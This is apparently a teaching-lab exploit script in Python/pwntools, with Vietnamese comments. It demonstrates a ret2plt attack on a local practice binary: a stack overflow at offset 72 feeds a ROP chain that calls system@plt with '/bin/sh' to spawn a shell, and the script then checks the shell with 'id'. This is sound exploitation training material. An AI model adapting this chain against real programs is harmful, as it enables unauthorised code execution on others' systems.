#!/usr/bin/env python3
# Lab 8.2 phan A: ret2plt.
# Khong leak libc. Binary da co system@plt (dia chi co dinh vi No-PIE) va chuoi
# "/bin/sh" trong .rodata. Goi lai system qua PLT stub: PLT tu resolve system
# luc chay. Dieu kien: ham dich phai da duoc binary nhap (co PLT entry).
import time
from pwn import *

context.binary = elf = ELF('./ret2plt')
context.log_level = 'info'

OFFSET = 72                      # buf[64] + saved rbp(8) -> saved RIP

io = process('./ret2plt')
io.recvuntil(b'ret2plt demo ==\n')

rop     = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]   # gadget tu nhet trong binary
ret     = rop.find_gadget(['ret'])[0]
binsh   = next(elf.search(b'/bin/sh\x00'))          # chuoi co san trong binary
system  = elf.plt['system']                          # PLT stub, dia chi co dinh
log.info('pop rdi    = %#x', pop_rdi)
log.info('/bin/sh    = %#x', binsh)
log.info('system@plt = %#x', system)

payload = flat(
    b'A' * OFFSET,
    ret,                 # can alignment 16 byte truoc khi vao system (movaps)
    pop_rdi, binsh,
    system,              # system("/bin/sh") qua PLT, khong can biet base libc
)
io.sendline(payload)

time.sleep(0.3)              # cho shell /bin/sh san sang truoc khi go lenh
io.sendline(b'echo ===PWNED_8_2_PLT===; id; echo ===END===')
io.sendline(b'exit')
out = io.recvall(timeout=5).decode(errors='replace')
print(out)

assert 'uid=' in out and '===PWNED_8_2_PLT===' in out, 'FAIL: ret2plt khong lay duoc shell'
log.success('ret2plt OK: system@plt("/bin/sh") lay shell, khong can leak libc')
